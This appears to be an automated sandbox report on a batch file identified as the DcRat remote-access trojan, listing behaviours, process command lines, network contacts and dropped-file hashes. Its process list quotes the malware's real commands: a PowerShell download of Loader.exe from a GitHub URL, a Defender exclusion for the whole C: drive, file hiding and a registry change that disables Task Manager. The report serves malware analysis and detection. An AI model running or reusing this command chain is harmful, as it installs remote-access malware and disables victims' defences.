Analysis Overview
SHA256
3ea1536d0ef8354708bf8f81e540e2e69a20bea0ccfabf3c9d36cc99c07192d7
Threat Level: Known bad
The file Start.bat was found to be: Known bad.
Malicious Activity Summary
DcRat
DCRat payload
Disables Task Manager via registry modification
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Executes dropped EXE
Legitimate hosting services abused for malware hosting/C2
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Modifies registry key
Suspicious behavior: EnumeratesProcesses
Modifies registry class
Suspicious use of WriteProcessMemory
Views/modifies file attributes
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-17 11:06
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-17 11:06
Reported
2024-06-17 11:07
Platform
win11-20240611-en
Max time kernel
31s
Max time network
34s
Command Line
Signatures
DcRat
DCRat payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Disables Task Manager via registry modification
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\Websaves.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | raw.githubusercontent.com | N/A | N/A |
| N/A | raw.githubusercontent.com | N/A | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings | C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe | N/A |
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\Websaves.exe | N/A |
Suspicious use of WriteProcessMemory
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Start.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -window hidden -command ""
C:\Windows\system32\cacls.exe
"C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command "Add-MpPreference -ExclusionPath "C:\
C:\Windows\system32\attrib.exe
attrib +h "GoogleDrives" /s /d
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Powershell -Command "Invoke-Webrequest 'https://github.com/EzKaProject/Loaders/raw/main/Loader.exe' -OutFile Loader.exe"
C:\Windows\system32\attrib.exe
attrib +h "Loader.exe" /s /d
C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe
Loader.exe
C:\Windows\system32\attrib.exe
attrib +h "C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe" /s /d
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\ewm9etKbRI.vbe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\I6Mb37.bat" "
C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\Websaves.exe
"C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\Websaves.exe"
C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | github.com | udp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 185.199.109.133:443 | raw.githubusercontent.com | tcp |
| US | 8.8.8.8:53 | 133.109.199.185.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 215.156.26.20.in-addr.arpa | udp |
Files
memory/3708-0-0x00007FF880483000-0x00007FF880485000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_itp11ism.3bx.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3708-9-0x000001807FEF0000-0x000001807FF12000-memory.dmp
memory/3708-10-0x00007FF880480000-0x00007FF880F42000-memory.dmp
memory/3708-11-0x00007FF880480000-0x00007FF880F42000-memory.dmp
memory/3708-12-0x00007FF880480000-0x00007FF880F42000-memory.dmp
memory/3708-15-0x00007FF880480000-0x00007FF880F42000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 627073ee3ca9676911bee35548eff2b8 |
| SHA1 | 4c4b68c65e2cab9864b51167d710aa29ebdcff2e |
| SHA256 | 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c |
| SHA512 | 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb |
memory/2976-17-0x00007FF880480000-0x00007FF880F42000-memory.dmp
memory/2976-18-0x00007FF880480000-0x00007FF880F42000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | d8b9a260789a22d72263ef3bb119108c |
| SHA1 | 376a9bd48726f422679f2cd65003442c0b6f6dd5 |
| SHA256 | d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc |
| SHA512 | 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b |
memory/2976-28-0x00007FF880480000-0x00007FF880F42000-memory.dmp
memory/2976-29-0x00007FF880480000-0x00007FF880F42000-memory.dmp
memory/2976-30-0x00007FF880480000-0x00007FF880F42000-memory.dmp
memory/2976-32-0x00007FF880480000-0x00007FF880F42000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | b698e32d0304217b19b5d9bdb54dc695 |
| SHA1 | d839a6bae60d3e4ce89bba63577cfac0f01525eb |
| SHA256 | 7ba7436fa154eb729d321d2b5e4ee44cebb6a8ecb864798a444909bd80b4cf12 |
| SHA512 | de05eb79e082a59a442efd0181205619468a27f1ed24c4027b01bfeba2e3f1cd426441f3371a3393d645b2fcf8b6255c1f4d9ed343b6c106ffdf19466c3007e6 |
C:\Users\Admin\AppData\Local\GoogleDrives\Loader.exe
| MD5 | 45d13fd3e101e33acbf271e0537de18f |
| SHA1 | 458e41068922768361650fb05e7d767e7676becf |
| SHA256 | 5198ac4261ef383b871b095d7d8ddb16738675d4186dd3a39cb7667e48533a51 |
| SHA512 | bdf188380d77538bf463c1e854a0e2046249278bd25fb081115043e54ddb5e2df19bae971e9c2701329de9d932d3a897265363861a406f9caeb933c27020837e |
C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\ewm9etKbRI.vbe
| MD5 | be8c2a530a96e0cceae0cdc34bf34287 |
| SHA1 | dbf3fddc7445a46dab5f3f514fd834597dd0a23f |
| SHA256 | 4a48e7f5facfc14a7e9a0fbd6715dab969e4a36913b7f757875f2657707a2c38 |
| SHA512 | 6508dfc80702fb2b639d7e8b52509a45415009f0784537149e1cee1b95b8d65bb3de5d0e401d0a6b4832cfd4a4061a71d057a7bbdb67f161a29afc8d7d0c06e7 |
C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\I6Mb37.bat
| MD5 | 3fc845936177bf46cc9cb858e256b08d |
| SHA1 | ba502e666415cc3228ef61ae0be2564d6a01e4c2 |
| SHA256 | c2319812c733ab383ddaa29bfb68594f4c5b10dbfdc9192766962ebe5a4baece |
| SHA512 | 5e847379381516045d68a9275cb0f71cfe207ead9343371949b9c03ed73e2a6b265612ddfdd14549bb546716dda6d2184e97aea21747f0f7fede4df5ddd11d86 |
C:\Users\Admin\AppData\Roaming\reviewruntimeperfsvc\Websaves.exe
| MD5 | f74442723cdb0a6e567316fe8778125e |
| SHA1 | 7c1ff5d71f73ca1eee0593d4c3d8d630ecd58b33 |
| SHA256 | 785c55be43d387e65634c031b3a7184d8d008473ae4144c8e427ceada2e4c991 |
| SHA512 | d3968c33a0444a9204bddfba2b9dd5302160e2a90c4aa0458b41cbf67530ce96f37007ab8ac87d90889828c72c16c1ec4498a749ab04af1940a3ae054bb300af |
memory/3388-58-0x0000000000E80000-0x000000000103A000-memory.dmp
memory/3388-59-0x0000000001760000-0x000000000176E000-memory.dmp
memory/3388-60-0x0000000001770000-0x000000000177E000-memory.dmp